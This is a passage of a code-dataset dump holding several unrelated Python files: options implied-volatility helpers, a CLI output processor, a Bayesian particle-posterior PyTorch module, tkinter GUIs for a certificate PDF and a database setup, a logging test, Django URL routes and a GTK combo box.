model_vol_ttm[idx] = infer_normal_implied_vol(forward=forward, ttm=ttm, discfactor=discfactor,\n given_price=model_price,\n strike=strike,\n optiontype=optiontype)\n return model_vol_ttm\n\n\n@njit(cache=False, fastmath=True)\ndef infer_normal_ivols_from_chain_prices(ttms: np.ndarray,\n forwards: np.ndarray,\n discfactors: np.ndarray,\n strikes_ttms: List[np.ndarray,...],\n optiontypes_ttms: List[np.ndarray, ...],\n model_prices_ttms: List[np.ndarray],\n ) -> List[np.ndarray, ...]:\n \"\"\"\n vectorised chain ivols\n \"\"\"\n model_vol_ttms = List()\n for ttm, forward, discfactor, strikes_ttm, optiontypes_ttm, model_prices_ttm in zip(ttms, forwards, discfactors, strikes_ttms, optiontypes_ttms, model_prices_ttms):\n model_vol_ttm = np.zeros_like(strikes_ttm)\n for idx, (strike, model_price, optiontype) in enumerate(zip(strikes_ttm, model_prices_ttm, optiontypes_ttm)):\n model_vol_ttm[idx] = infer_normal_implied_vol(forward=forward, ttm=ttm, discfactor=discfactor,\n given_price=model_price,\n strike=strike,\n optiontype=optiontype)\n model_vol_ttms.append(model_vol_ttm)\n return model_vol_ttms\n","repo_name":"ArturSepp/StochVolModels","sub_path":"stochvolmodels/pricers/core/normal_pricer.py","file_name":"normal_pricer.py","file_ext":"py","file_size_in_byte":12249,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"78"} +{"seq_id":"29747197510","text":"import logging\n\nfrom python_cli_generator import output_printer\n\n\nclass OutputProcessor:\n\n def __init__(self, logger, format=\"json\", file=None, **kwargs):\n self.logger = logger\n self.format = format\n self.file = file\n self.filter_list_search = None\n self.filter_list_attributes = None\n\n def _get_json_values(self, json_obj):\n arr = []\n\n def extract(obj, arr):\n if isinstance(obj, dict):\n for k, v in obj.items():\n if isinstance(v, (dict, list)):\n extract(v, arr)\n else:\n arr.append(v)\n elif isinstance(obj, list):\n for item in obj:\n extract(item, arr)\n return arr\n\n values = extract(json_obj, arr)\n return values\n\n def _filter_list_search(self, json_list):\n json_list_result = []\n if self.filter_list_search is not None:\n for result in json_list:\n for value in self._get_json_values(result):\n\n if value is not None and self.filter_list_search in str(value):\n json_list_result.append(result)\n break\n else:\n json_list_result = json_list\n\n return json_list_result\n\n def _filter_list_attributes(self, json_list):\n def deep_access(x, keylist):\n val = x\n for key in keylist:\n if key in val:\n val = val[key]\n else:\n val = None\n return val\n\n result = []\n if self.filter_list_attributes is not None:\n for json in json_list:\n element = {}\n found_attribute = False\n for attribute in self.filter_list_attributes:\n arrayAttributes = attribute.split(\".\")\n deep_access_result = deep_access(json, arrayAttributes)\n if deep_access_result is not None:\n element[arrayAttributes[-1]] = deep_access_result\n found_attribute = True\n if found_attribute:\n result.append(element)\n else:\n result = json_list\n return result\n\n def _print_result(self, result):\n output_printer.print_json_value(\n result, output_format=str(self.format), file=self.file)\n\n def _process_result(self, result):\n if self.logger is not False:\n self.logger.debug(\"Result: {}\\n\".format(result))\n if not isinstance(result, dict) and not isinstance(result, list) and str(self.format) != \"raw\":\n return {\"result\": result}\n return result\n\n def _process_result_list(self, item_list, titles=None):\n result = []\n for item in item_list:\n result_item = {}\n if not isinstance(item, dict):\n if item.__class__.__module__ != \"builtins\":\n item = vars(item)\n else:\n item = item\n result.append(item)\n continue\n for attr in item:\n if titles is None or attr in titles:\n result_item[attr] = item[attr]\n result.append(result_item)\n\n result = self._filter_list_attributes(result)\n result = self._filter_list_search(result)\n return result\n\n def process_args(self, args):\n from python_cli_generator.cli_builtin import BuiltinArguments\n\n if BuiltinArguments.verbose.value in args and args[BuiltinArguments.verbose.value]:\n self.logger.setLevel(logging.DEBUG)\n self.format = args.get(BuiltinArguments.format.value, self.format)\n self.file = args.get(BuiltinArguments.file.value, self.file)\n self.filter_list_search = args.get(\n BuiltinArguments.search.value, self.filter_list_search)\n self.filter_list_attributes = args.get(\n BuiltinArguments.attribute_filter.value, self.filter_list_attributes)\n\n def process_result(self, result):\n if type(result) is list:\n result = self._process_result_list(result)\n else:\n result = self._process_result(result)\n self._print_result(result)\n return result\n","repo_name":"AlexSua/python-cli-generator","sub_path":"python_cli_generator/output_processor.py","file_name":"output_processor.py","file_ext":"py","file_size_in_byte":4341,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"29138980507","text":"import copy\nfrom typing import Any, Callable, Dict, Iterable, Iterator, Optional, Tuple, Union\n\nimport torch\nfrom torch import Tensor\nfrom torch.distributions import Distribution\nfrom torch.nn import Module, ModuleList, Parameter\n\nfrom bayestorch.nn.prior_module import PriorModule\nfrom bayestorch.nn.utils import nested_apply\n\n\n__all__ = [\n \"ParticlePosteriorModule\",\n]\n\n\nclass ParticlePosteriorModule(PriorModule):\n \"\"\"Bayesian module that defines a prior and a particle-based\n posterior over its parameters.\n\n References\n ----------\n .. [1] Q. Liu and D. Wang.\n \"Stein Variational Gradient Descent: A General Purpose Bayesian Inference Algorithm\".\n In: Advances in Neural Information Processing Systems. 2016, pp. 2378-2386.\n URL: https://arxiv.org/abs/1608.04471\n\n Examples\n --------\n >>> import torch\n >>> from torch import nn\n >>>\n >>> from bayestorch.distributions import LogScaleNormal\n >>> from bayestorch.nn import ParticlePosteriorModule\n >>>\n >>>\n >>> num_particles = 5\n >>> batch_size = 10\n >>> in_features = 4\n >>> out_features = 2\n >>> model = nn.Linear(in_features, out_features)\n >>> num_parameters = sum(parameter.numel() for parameter in model.parameters())\n >>> model = ParticlePosteriorModule(\n ... model,\n ... prior_builder=LogScaleNormal,\n ... prior_kwargs={\n ... \"loc\": torch.zeros(num_parameters),\n ... \"log_scale\": torch.full((num_parameters,), -1.0),\n ... },\n ... num_particles=num_particles,\n ... )\n >>> input = torch.rand(batch_size, in_features)\n >>> output = model(input)\n >>> outputs, log_priors = model(\n ... input,\n ... return_log_prior=True,\n ... reduction=\"none\",\n ... )\n\n \"\"\"\n\n replicas: \"ModuleList\"\n \"\"\"The module replicas (one for each particle).\"\"\"\n\n # override\n def __init__(\n self,\n module: \"Module\",\n prior_builder: \"Callable[..., Distribution]\",\n prior_kwargs: \"Dict[str, Any]\",\n num_particles: \"int\" = 10,\n module_parameters: \"Optional[Iterable[Tensor]]\" = None,\n ) -> \"None\":\n \"\"\"Initialize the object.\n\n Parameters\n ----------\n module:\n The module.\n prior_builder:\n The prior builder, i.e. a callable that receives keyword\n arguments and returns a prior with size (batch + event)\n equal to the length of the 1D tensor obtained by flattening\n and concatenating each tensor in `module_parameters`.\n prior_kwargs:\n The keyword arguments to pass to the prior builder.\n Tensor arguments are internally registered as parameters\n if their `requires_grad` attribute is True, as persistent\n buffers otherwise.\n num_particles:\n The number of particles.\n module_parameters:\n The module parameters over which the prior is defined.\n Useful to selectively define a prior over a restricted\n subset of submodules/parameters.\n Default to ``module.parameters()``.\n\n Raises\n ------\n ValueError\n If an invalid argument value is given.\n\n Warnings\n --------\n High memory usage is to be expected as `num_particles - 1`\n replicas of the module must be maintained internally.\n\n \"\"\"\n if num_particles < 1 or not float(num_particles).is_integer():\n raise ValueError(\n f\"`num_particles` ({num_particles}) must be in the integer interval [1, inf)\"\n )\n\n super().__init__(module, prior_builder, prior_kwargs, module_parameters)\n self.num_particles = int(num_particles)\n\n # Replicate module (one replica for each particle)\n self.replicas = ModuleList(\n [module] + [copy.deepcopy(module) for _ in range(num_particles - 1)]\n )\n\n # Retrieve indices of the selected parameters\n self._module_parameter_idxes = []\n replica_parameters = list(module.parameters())\n for parameter in self.module_parameters:\n for i, x in enumerate(replica_parameters):\n if parameter is x:\n self._module_parameter_idxes.append(i)\n break\n\n for replica in self.replicas:\n # Sample new particle\n new_particle = self.prior.sample()\n\n # Inject sampled particle\n start_idx = 0\n replica_parameters = list(replica.parameters())\n module_parameters = [\n replica_parameters[idx] for idx in self._module_parameter_idxes\n ]\n for parameter in module_parameters:\n end_idx = start_idx + parameter.numel()\n new_parameter = new_particle[start_idx:end_idx].reshape_as(parameter)\n parameter.detach_().requires_grad_(False).copy_(\n new_parameter\n ).requires_grad_()\n start_idx = end_idx\n\n # override\n def named_parameters(\n self,\n *args: \"Any\",\n include_all: \"bool\" = True,\n **kwargs: \"Any\",\n ) -> \"Iterator[Tuple[str, Parameter]]\":\n \"\"\"Return the named parameters.\n\n Parameters\n ----------\n include_all:\n True to include all the named parameters,\n False to include only those over which the\n prior is defined.\n\n Returns\n -------\n The named parameters.\n\n \"\"\"\n if include_all:\n return super(PriorModule, self).named_parameters(*args, **kwargs)\n named_parameters = dict(\n super(PriorModule, self).named_parameters(*args, **kwargs)\n )\n result = []\n for replica in self.replicas:\n replica_parameters = list(replica.parameters())\n for idx in self._module_parameter_idxes:\n for k, v in named_parameters.items():\n if v is replica_parameters[idx]:\n result.append((k, v))\n break\n return result\n\n @property\n def particles(self) -> \"Tensor\":\n \"\"\"Return the particles.\n\n In the following, let `N` denote the number of particles,\n and `D` the number of parameters over which the prior is\n defined.\n\n Returns\n -------\n The particles, shape: ``[N, D]``.\n\n \"\"\"\n result = []\n for replica in self.replicas:\n replica_parameters = list(replica.parameters())\n module_parameters = [\n replica_parameters[idx] for idx in self._module_parameter_idxes\n ]\n for parameter in module_parameters:\n result.append(parameter.flatten())\n return torch.cat(result).reshape(self.num_particles, -1)\n\n # override\n def forward(\n self,\n *args: \"Any\",\n return_log_prior: \"bool\" = False,\n reduction: \"str\" = \"mean\",\n **kwargs: \"Any\",\n ) -> \"Union[Any, Tuple[Any, Tensor]]\":\n \"\"\"Forward pass.\n\n In the following, let `N` denote the number of particles,\n `B = {B_1, ..., B_k}` the batch shape, and `O = {O_1, ..., O_m}`\n the shape of a leaf value of the underlying module output (can be\n a nested tensor).\n\n Parameters\n ----------\n args:\n The positional arguments to pass to the underlying module.\n return_log_prior:\n True to additionally return the log prior (usually\n required during training), False otherwise.\n reduction:\n The reduction to apply to the leaf values of the underlying\n module output and to the log prior (if `return_log_prior` is\n True) across particles. Must be one of the following:\n - \"none\": no reduction is applied;\n - \"mean\": the leaf values and the log prior are averaged\n across particles.\n kwargs:\n The keyword arguments to pass to the underlying module.\n\n Returns\n -------\n - The output, shape of a leaf value: ``[N, *B, *O]``\n if `reduction` is \"none\" , ``[*B, *O]`` otherwise;\n - if `return_log_prior` is True, the log prior, shape:\n ``[N]`` if `reduction` is \"none\" , ``[]`` otherwise.\n\n Raises\n ------\n ValueError\n If an invalid argument value is given.\n\n \"\"\"\n if reduction not in [\"none\", \"mean\"]:\n raise ValueError(\n f\"`reduction` ({reduction}) must be one of {['none', 'mean']}\"\n )\n\n # Forward pass\n outputs = [replica(*args, **kwargs) for replica in self.replicas]\n if reduction == \"none\":\n outputs = nested_apply(torch.stack, outputs)\n elif reduction == \"mean\":\n outputs = nested_apply(\n lambda inputs, dim: torch.mean(torch.stack(inputs, dim), dim), outputs\n )\n\n if not return_log_prior:\n return outputs\n\n # Extract particles\n particles = self.particles\n\n # Compute log prior\n log_priors = self.prior.log_prob(particles)\n if reduction == \"mean\":\n log_priors = log_priors.mean()\n\n return outputs, log_priors\n\n # override\n def __repr__(self) -> \"str\":\n return (\n f\"{type(self).__name__}\"\n f\"(module: {self.module}, \"\n f\"prior: {self.prior}, \"\n f\"num_particles: {self.num_particles}, \"\n f\"module_parameters: {sum(parameter.numel() for parameter in self.module_parameters)})\"\n )\n","repo_name":"lucadellalib/bayestorch","sub_path":"bayestorch/nn/particle_posterior_module.py","file_name":"particle_posterior_module.py","file_ext":"py","file_size_in_byte":9712,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"3698391654","text":"from tkinter import *\nfrom fpdf import FPDF\nfrom pdf2image import convert_from_path\nfrom PIL import ImageTk, Image\n\nmax_col_width = 95\n\n\npreview_width = 210*2\npreview_height = 297*2\n\nclass PDF(FPDF):\n def header(self):\n self.image('logo.jpg', 10, 8, h=25)\n self.set_font('times', '', 12)\n self.cell(max_col_width)\n self.multi_cell(max_col_width, 6, ' \\n Numero Certificato: 3220167A2020105041616447\\n Data Certificato: 03/06/2021\\n ', border=1)\n self.ln(10)\n\n def footer(self):\n self.set_y(-15)\n self.set_font('times', 'B', 10)\n self.cell(0, 10, f'Page {self.page_no()}/{{nb}}', align='C')\n \n \ndef generate_report():\n name = name_entry.get()\n address = address_entry.get()\n city = city_entry.get()\n state = state_entry.get()\n zip = zip_entry.get()\n country = country_entry.get()\n email = \"Email: \" + email_entry.get()\n phone = \"Tel: \" + phone_entry.get()\n vat = \"VAT: \" + vat_entry.get()\n\n pdf = PDF()\n pdf.set_auto_page_break(auto=True, margin=15)\n pdf.alias_nb_pages()\n\n pdf.add_page()\n\n pdf.set_text_color(16)\n pdf.set_draw_color(128)\n\n pdf.set_font('arial', '', 12)\n\n cell_width = max_col_width \n\n pdf.set_font('arial', 'B', 14)\n pdf.cell(cell_width, 7, 'Fornitore Servizio')\n pdf.cell(cell_width, 7, 'Cliente', ln=True)\n pdf.ln(3)\n \n pdf.set_font('arial', '', 12)\n pdf.cell(cell_width, 7, name)\n pdf.cell(cell_width, 7, name)\n pdf.ln()\n \n pdf.set_font('arial', '', 12)\n pdf.cell(cell_width, 7, address)\n pdf.cell(cell_width, 7, address)\n pdf.ln()\n \n pdf.set_font('arial', '', 12)\n pdf.cell(cell_width, 7, city + \" (\" + state + \"), \" + zip)\n pdf.cell(cell_width, 7, city + \" (\" + state + \"), \" + zip)\n pdf.ln()\n \n pdf.set_font('arial', '', 12)\n pdf.cell(cell_width, 7, country)\n pdf.cell(cell_width, 7, country)\n pdf.ln()\n \n pdf.set_font('arial', '', 12)\n pdf.cell(cell_width, 7, email)\n pdf.cell(cell_width, 7, email)\n pdf.ln()\n \n pdf.set_font('arial', '', 12)\n pdf.cell(cell_width, 7, phone)\n pdf.cell(cell_width, 7, phone)\n pdf.ln()\n \n pdf.set_font('arial', '', 12)\n pdf.cell(cell_width, 7, vat)\n pdf.cell(cell_width, 7, vat)\n pdf.ln()\n \n pdf.output('report.pdf')\n \ndef preview_report():\n global preview_label\n global image\n global my_image\n generate_report()\n pages = convert_from_path('report.pdf')\n for page in pages:\n page.save(\"report.png\")\n \n image = Image.open(\"report.png\")\n image = image.resize((preview_width, preview_height), Image.ANTIALIAS)\n my_image = ImageTk.PhotoImage(image)\n\n preview_label.config(image=my_image)\n #preview_label.image = my_image\n\n\n# --------------------------------------------------------------------------\n# tkinter\n# --------------------------------------------------------------------------\nwindow = Tk()\nwindow.geometry(\"1920x1080\")\nwindow.iconbitmap(\"logo.ico\")\nwindow.title(\"Certificato Sanificazione\")\nwindow.state('zoomed')\n\nmenubar = Menu(window)\nwindow.config(menu=menubar)\n\nopenImage = PhotoImage(file=\"logo.png\")\nfileMenu = Menu(menubar, tearoff=0)\nmenubar.add_cascade(label=\"File\", menu=fileMenu)\nfileMenu.add_command(label=\"Exit\", command=quit)\n\n\nframe_top = Frame(\twindow, \n\t\t#bg=\"green\", \n\t\trelief=\"raised\", \n\t\tborderwidth=1, \n\t\t)\nframe_top.pack(fill=BOTH, expand=1, side=TOP)\nframe_top.pack_propagate(0)\n\nstatus_label = Label(window, text=\"Stato\")\nstatus_label.pack()\n\nframe1 = Frame(\tframe_top, \n\t\t#bg=\"green\", \n\t\twidth=300, \n\t\trelief=\"raised\", \n\t\tborderwidth=1, \n\t\t)\nframe1.pack(fill=Y, side=LEFT)\nframe1.pack_propagate(0)\n\nframe2 = Frame(\tframe_top, \n\t\t#bg=\"red\",\n\t\trelief=\"raised\", \n\t\tborderwidth=1, \n\t\t)\nframe2.pack(expand=1, fill=BOTH)\nframe2.pack_propagate(0)\n\n\npadx = 10\npady = 2\n\nname_label = Label(frame1, text=\"Nome: \")\nname_label.pack(anchor=W, padx=padx, pady=pady)\nname_entry = Entry(frame1, width=40)\nname_entry.pack(anchor=W, padx=padx, pady=pady)\n\naddress_label = Label(frame1, text=\"Indirizzo: \")\naddress_label.pack(anchor=W, padx=padx, pady=pady)\naddress_entry = Entry(frame1, width=40)\naddress_entry.pack(anchor=W, padx=padx, pady=pady)\n\ncity_label = Label(frame1, text=\"Città: \")\ncity_label.pack(anchor=W, padx=padx, pady=pady)\ncity_entry = Entry(frame1, width=40)\ncity_entry.pack(anchor=W, padx=padx, pady=pady)\n\nstate_label = Label(frame1, text=\"Provincia: \")\nstate_label.pack(anchor=W, padx=padx, pady=pady)\nstate_entry = Entry(frame1, width=40)\nstate_entry.pack(anchor=W, padx=padx, pady=pady)\n\nzip_label = Label(frame1, text=\"Cap: \")\nzip_label.pack(anchor=W, padx=padx, pady=pady)\nzip_entry = Entry(frame1, width=40)\nzip_entry.pack(anchor=W, padx=padx, pady=pady)\n\ncountry_label = Label(frame1, text=\"Stato: \")\ncountry_label.pack(anchor=W, padx=padx, pady=pady)\ncountry_entry = Entry(frame1, width=40)\ncountry_entry.pack(anchor=W, padx=padx, pady=pady)\n\nemail_label = Label(frame1, text=\"Email: \")\nemail_label.pack(anchor=W, padx=padx, pady=pady)\nemail_entry = Entry(frame1, width=40)\nemail_entry.pack(anchor=W, padx=padx, pady=pady)\n\nphone_label = Label(frame1, text=\"Tel: \")\nphone_label.pack(anchor=W, padx=padx, pady=pady)\nphone_entry = Entry(frame1, width=40)\nphone_entry.pack(anchor=W, padx=padx, pady=pady)\n\nvat_label = Label(frame1, text=\"IVA: \")\nvat_label.pack(anchor=W, padx=padx, pady=pady)\nvat_entry = Entry(frame1, width=40)\nvat_entry.pack(anchor=W, padx=padx, pady=pady)\n\nsubmit = Button(frame1,\n\t\ttext=\"Genera Certificato\",\n\t\tcommand=lambda:generate_report(),\n)\nsubmit.pack(side=LEFT)\n\npreview = Button(frame1,\n\t\ttext=\"Anteprima Certificato\",\n\t\tcommand=lambda:preview_report(),\n)\npreview.pack(side=LEFT)\n\nimage = Image.open(\"report.png\")\nimage = image.resize((preview_width, preview_height), Image.ANTIALIAS)\nmy_image = ImageTk.PhotoImage(image)\n\npreview_label = Label( frame2,\n text=\"label1\",\n image=my_image,\n )\npreview_label.pack()\n\n\n'''\nframe1 = Frame(window, bg=\"green\")\nframe1.grid(row=0, column=0)\n\nlabel1 = Label(frame1, text=\"label1\", width=30)\nlabel1.grid(row=0, column=0)\n\nframe2 = Frame(\twindow, bg=\"red\")\nframe2.grid(row=0, column=1, sticky=W+E)\n\nlabel2 = Label(frame2, text=\"label2\")\nlabel2.grid(row=0, column=0)\n'''\n\nwindow.mainloop()\n","repo_name":"MartinPellizzer/og-repgen","sub_path":"repgen.py","file_name":"repgen.py","file_ext":"py","file_size_in_byte":6325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8235076586","text":"import os as os\nimport subprocess\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport tkinter.messagebox\nimport re as re\nimport datetime as dt\nfrom DB_con import DB_con\nimport pdb\n\nfrom work_with_encryption import work_with_crypto\n\n\nclass init:\n\n def __init__(self, parent_window, content_frame):\n self.parent_window = parent_window\n self.content_frame = content_frame\n self.pos_in_msg = 0\n self.msg_check_for_dir = tk.Label(self.content_frame, text='Überprüfe database Ordner...')\n self.msg_check_for_dir.grid(column=0, row=self.pos_in_msg)\n # check if database dir exists:\n output = subprocess.getstatusoutput(\"ls -la | grep database\")\n\n if output[1][0] == 'd':\n self.msg_found_dir = tk.Label(self.content_frame, text='database Ordner gefunden...')\n self.pos_in_msg += 1\n self.msg_found_dir.grid(column=0, row=self.pos_in_msg)\n self.check_for_db_files()\n else:\n self.msg_no_dir = tk.Label(self.content_frame, text='Kein database Ordner gefunden, erstelle ihn jetzt.')\n self.pos_in_msg += 1\n self.msg_no_dir.grid(column=0, row=self.pos_in_msg)\n os.system('mkdir database')\n\n def check_for_db_files(self):\n os.chdir('database/')\n\n # check if we are in the database dir:\n pwd = subprocess.getstatusoutput('pwd')\n\n database_reg_exp = re.compile(r'\\/database$')\n match_obj = re.match(database_reg_exp, pwd[1])\n\n if match_obj == 0:\n self.msg_cant_cd_into_dir = tk.Label(self.content_frame, text='Database Ordner konnte nicht betreten werden...')\n self.pos_in_msg += 1\n self.msg_cant_cd_into_dir.grid(column=0, row=self.pos_in_msg)\n return\n\n self.msg_check_for_db_in_dir = tk.Label(self.content_frame, text='Überprüfe, ob Datenbanken vorhanden sind...')\n self.pos_in_msg += 1\n self.msg_check_for_db_in_dir.grid(column=0, row=self.pos_in_msg)\n\n databases = self.check_dbs_in_pwd()\n\n if len(databases) == 1:\n self.msg_found_one_db = tk.Label(self.content_frame, text='Es wurde genau eine Datenbank gefunden. Es wird geprüft, ob sie verschlüsselt ist')\n self.pos_in_msg += 1\n self.msg_found_one_db.grid(column=0, row=self.pos_in_msg)\n\n self.crypto_obj = work_with_crypto(databases[0], self.content_frame, self.pos_in_msg)\n self.pos_in_msg = self.crypto_obj.get_row_counter()\n\n elif len(databases) > 1:\n self.msg_found_more_dbs = tk.Label(self.content_frame, text='Es wurden verschiedene Datenbanken gefunden, bitte auswählen...')\n self.pos_in_msg += 1\n self.msg_found_more_dbs.grid(column=0, row=self.pos_in_msg)\n self.db_choice_window = tk.Toplevel(self.parent_window)\n self.db_choice_window.lift()\n self.heading_choice_window_frame = tk.Frame(self.db_choice_window)\n self.content_choice_window_frame = tk.Frame(self.db_choice_window)\n self.heading_choice_window_frame.grid(column=0, row=0)\n self.content_choice_window_frame.grid(column=0, row=1)\n self.heading_label_choice_window = ttk.Label(self.heading_choice_window_frame, text='Datenbank auswählen', style=\"My.TLabel\")\n self.heading_label_choice_window.grid(column=0, row=0)\n self.desc_label_choice_window = tk.Label(self.content_choice_window_frame, text='Es wurden mehr als eine Datenbank gefunden. Bitte wähle die datenbank aus, die du laden möchtest')\n self.desc_label_choice_window.grid(column=0, row=0, columnspan=3)\n self.option_menu_label_choice_db = tk.Label(self.content_choice_window_frame, text='Datenbank wählen:')\n self.option_menu_label_choice_db.grid(column=0, row=1)\n self.option_menu_choice_db_var = tk.StringVar()\n self.option_menu_choice_db = tk.OptionMenu(self.content_choice_window_frame, self.option_menu_choice_db_var, *databases)\n self.option_menu_choice_db.grid(column=1, row=1)\n\n self.submit_db_choice = tk.Button(self.content_choice_window_frame, text='Abschicken', command=self.submit_choice)\n self.submit_db_choice.grid(column=1, row=2)\n\n\n else:\n self.msg_no_db_found = tk.Label(self.content_frame, text='Es konnte keine Datenbank gefunden werden...')\n self.pos_in_msg += 1\n self.msg_no_db_found.grid(column=0, row=self.pos_in_msg)\n\n self.msg_start_setup_assistent = tk.Label(self.content_frame, text='Setup-Assistent für die Datenbankerstellung wird gestartet...')\n self.pos_in_msg += 1\n self.msg_start_setup_assistent.grid(column=0, row=self.pos_in_msg)\n self.create_new_database()\n #self.db_connection = db_connection\n # build list of database file names:\n\n\n def get_row_counter(self):\n return self.pos_in_msg\n\n def submit_choice(self):\n self.crypto_obj = work_with_crypto(self.option_menu_choice_db_var.get(), self.content_frame, self.pos_in_msg)\n self.pos_in_msg = self.crypto_obj.get_row_counter()\n self.db_choice_window.destroy()\n\n def return_db_connection(self):\n return self.crypto_obj.get_db_connection()\n\n def create_new_database(self):\n # setup assistent for new database\n self.create_database_window = tk.Toplevel()\n style = ttk.Style(self.create_database_window)\n style.configure(\"My.TLabel_setup_window\", font=('Arial', 25))\n self.setup_heading_frame = tk.Frame(self.create_database_window)\n self.setup_heading_frame.grid(column=0, row=0)\n self.heading_label = ttk.Label(self.setup_heading_frame, text='Neue Datenbank erstellen', style=\"My.TLabel_setup_window\")\n self.heading_label.grid(column=0, row=0)\n self.setup_content_frame = tk.Frame(self.create_database_window)\n self.setup_content_frame.grid(column=0, row=1)\n\n self.description_label_setup = tk.Label(self.setup_content_frame, text='Da in dieser Datenbank sensibele Daten gespeichert werden können, kann die Datenbank verschlüsselt werden.')\n self.description_label_setup.grid(column=0, row=0)\n\n self.desc_label_2_setup = tk.Label(self.setup_content_frame, text='Für die Entschlüsselung wird dann ein Passwort benötigt. Bitte beachte, dass bei Verlust des Passworts nicht mehr auf die Datenbank zugegriffen werden kann.')\n self.desc_label_2_setup.grid(column=0, row=1)\n\n self.desc_label_3_setup = tk.Label(self.setup_content_frame, text='Überlege dir also gut, ob du die Datenbank verschlüsseln möchtest!')\n self.desc_label_3_setup.grid(column=0, row=2)\n\n self.database_name_label = tk.Label(self.setup_content_frame, text='Datenbank Name')\n self.database_name_label.grid(column=0, row=3)\n\n self.database_name_entry_var = tk.StringVar()\n # set a default database name containing the current date and time to make the name unique\n self.current_datetime = dt.datetime.now()\n self.current_datetime_str = current_datetime.strftime(\"%d%m%Y_%H%M\")\n self.database_name_str = f\"Datenbank_{current_datetime_str}.db\"\n self.database_name_entry_var.set(database_name_str)\n\n self.database_name_entry_widget = tk.Entry(self.setup_content_frame, textvariable=self.database_name_entry_var)\n self.database_name_entry_widget.grid(column=1, row=3)\n\n self.encrypt_checkbutton_var = tk.IntVar()\n self.encrypt_checkbutton_var.set(0)\n self.encrypt_checkbutton = tk.Checkbutton(self.setup_content_frame, text=\"Verschlüsseln?\", variable=self.encrypt_checkbutton_var, onvalue=1, offvalue=0, command=self.password_widget)\n self.encrypt_checkbutton.grid(column=1, row=4)\n\n # self.password_label = tk.Label(self.setup_content_frame, text='Verschlüsselungs-Passwort')\n #\n # self.password_entry_var = tk.StringVar()\n # self.password_entry_widget = tk.Entry(self.setup_content_frame, show=\"*\")\n\n self.submit_button = tk.Button(self.setup_content_frame, text='Abschicken', command=self.submit_new_db)\n self.submit_button.grid(column=1, row=5)\n\n def password_widget(self):\n if self.encrypt_checkbutton_var.get() == 1:\n self.database_name_entry_var.set(self.database_name_entry_var.get().replace(\".db\", \".enc\"))\n else:\n self.database_name_entry_var.set(self.database_name_entry_var.get().replace(\".enc\", \".db\"))\n\n\n def check_dbs_in_pwd(self):\n databases_str = subprocess.getstatusoutput('find *.db')\n # reg_exp_new_line = re.compile(r'[\\S]+(.db)|[\\S]+(.enc)')\n # pdb.set_trace()\n # return re.findall(reg_exp_new_line, databases_str[1])\n return databases_str[1].splitlines()\n\n def submit_new_db(self):\n # check if database name already exists:\n db_results = self.check_dbs_in_pwd()\n new_db_name = self.database_name_entry_var.get()\n for db_name in db_results:\n if new_db_name == db_name:\n on_click = tkinter.messagebox.showerror(title='Name schon vorhanden!', message='Datenbank Name schon vorhanden. Bitte anderen Namen wählen!')\n if on_click:\n self.database_name_entry_widget.configure(bg=\"red\")\n self.create_database_window.lift()\n return\n\n #check if a password was given:\n if self.encrypt_checkbutton_var == 1:\n if len(self.password_entry_var.get()) < 10:\n on_click = tkinter.messagebox.showerror(title='Passwort zu kurz', message=\"Das Passwort muss mindestens 10 zeichen lang sein!\")\n if on_click:\n self.password_entry_widget.configure(bg='red')\n self.create_database_window.lift()\n return\n else:\n self.crypto_obj = work_with_crypto(new_db_name, self.treeview_messages, self.pos_in_msg)\n self.pos_in_msg = self.crypto_obj.get_row_counter()\n else:\n self.crypto_obj = work_with_crypto(new_db_name, self.treeview_messages, self.pos_in_msg)\n self.pos_in_msg = self.crypto_obj.get_row_counter()\n","repo_name":"AeroEngDev/TeachManger","sub_path":"src/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":10281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35484394606","text":"import logging\n\nfrom logtest.logging.submodule.sub_logging import sublog\n_logger = logging.getLogger(__name__)\n\n\ndef log():\n _logger.error('logging root error')\n _logger.warning('logging root warning')\n _logger.info('logging root info')\n _logger.debug('logging root debug')\n\n sublog()\n\nif __name__ == \"__main__\":\n logger = logging.getLogger('logtest.logging')\n sh = logging.StreamHandler()\n logger.addHandler(sh)\n logger.setLevel(logging.INFO)\n\n log()","repo_name":"norahyk/logtest","sub_path":"provider_package/logtest/logging/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22565137051","text":"from django.conf.urls import url\nfrom . import views\n\n\nurlpatterns = [\n url(r'^cart/$', views.cart, name=\"cart\"),\n url(r'^add(\\d+)_(\\d+)/$', views.add, name=\"add\"),\n url(r'^edit(\\d+)_(\\d+)/$', views.edit, name=\"edit\"),\n url(r'^delete(\\d+)/$', views.delete, name=\"delete\"),\n]","repo_name":"nanshannan1/-","sub_path":"cart/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"212711173","text":"from gi.repository import Gtk\nfrom gi.repository.GdkPixbuf import Pixbuf\n\nclass ImageComboBox(Gtk.ComboBox):\n def __init__(self):\n Gtk.ComboBox.__init__(self)\n renderer_pixbuf = Gtk.CellRendererPixbuf()\n self.pack_start(renderer_pixbuf, True)\n self.add_attribute(renderer_pixbuf, \"pixbuf\", 0)\n renderer_text = Gtk.CellRendererText()\n self.pack_start(renderer_text, True)\n self.add_attribute(renderer_text, \"text\", 1)\n self.values_dict = dict()\n\n def build_and_set_model(self, values):\n self.values_dict.clear()\n store = Gtk.ListStore(Pixbuf, str)\n if values:\n for value in values:\n if isinstance(value, list):\n store.append([value[0], value[1]])\n self.values_dict[value[1]] = value[1]\n else:\n store.append([value.get_pixbuf(), value.get_name()])\n self.values_dict[value.get_id()] = value\n self.set_model(store)\n self.set_id_column(1)\n\n def set_value(self, value):\n if value in self.values_dict:\n self.set_active_id(value)\n\n def get_value(self, default=None):\n active_id = self.get_active_id()\n if active_id is not None:\n value_ob = self.values_dict[active_id]\n if hasattr(value_ob, \"get_id\"):\n return value_ob.get_id()\n return value_ob\n return 